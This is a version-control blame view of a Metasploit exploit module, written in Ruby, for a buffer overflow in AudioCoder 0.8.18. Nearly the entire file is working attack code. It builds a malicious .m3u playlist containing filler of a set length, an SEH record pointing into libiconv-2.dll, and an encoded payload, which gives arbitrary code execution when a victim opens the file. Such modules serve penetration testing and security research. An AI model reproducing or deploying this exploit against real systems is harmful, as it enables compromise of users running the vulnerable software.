Files
metasploit-gs/modules/exploits/windows/fileformat/audio_coder_m3u.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

74 lines
2.0 KiB
Ruby
Raw Normal View History

2013-05-02 22:00:43 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-05-02 22:00:43 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-05-02 22:00:43 -05:00
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'AudioCoder .M3U Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in AudioCoder 0.8.18. The vulnerability
2013-05-02 22:00:43 -05:00
occurs when adding an .m3u, allowing arbitrary code execution with the privileges
of the user running AudioCoder. This module has been tested successfully on
AudioCoder 0.8.18.5353 over Windows XP SP3 and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'metacom', # Vulnerability discovery and PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2017-8870' ],
[ 'OSVDB', '92939' ],
2013-05-02 22:00:43 -05:00
[ 'EDB', '25141' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Platform' => 'win',
'Payload' =>
{
'Space' => 6596,
'BadChars' => "\x00\x5c\x40\x0d\x0a",
'DisableNops' => true,
'StackAdjustment' => -3500,
},
'Targets' =>
[
[ 'AudioCoder 0.8.18.5353 / Windows XP SP3 / Windows 7 SP1',
{
'Ret' => 0x66011b56, # ppr from libiconv-2.dll
'Offset' => 765
}
]
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2013-05-01',
2013-05-02 22:00:43 -05:00
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
])
2013-05-02 22:00:43 -05:00
end
def exploit
buffer = "http://"
buffer << rand_text(target['Offset'])
buffer << generate_seh_record(target.ret)
buffer << payload.encoded
file_create(buffer)
end
end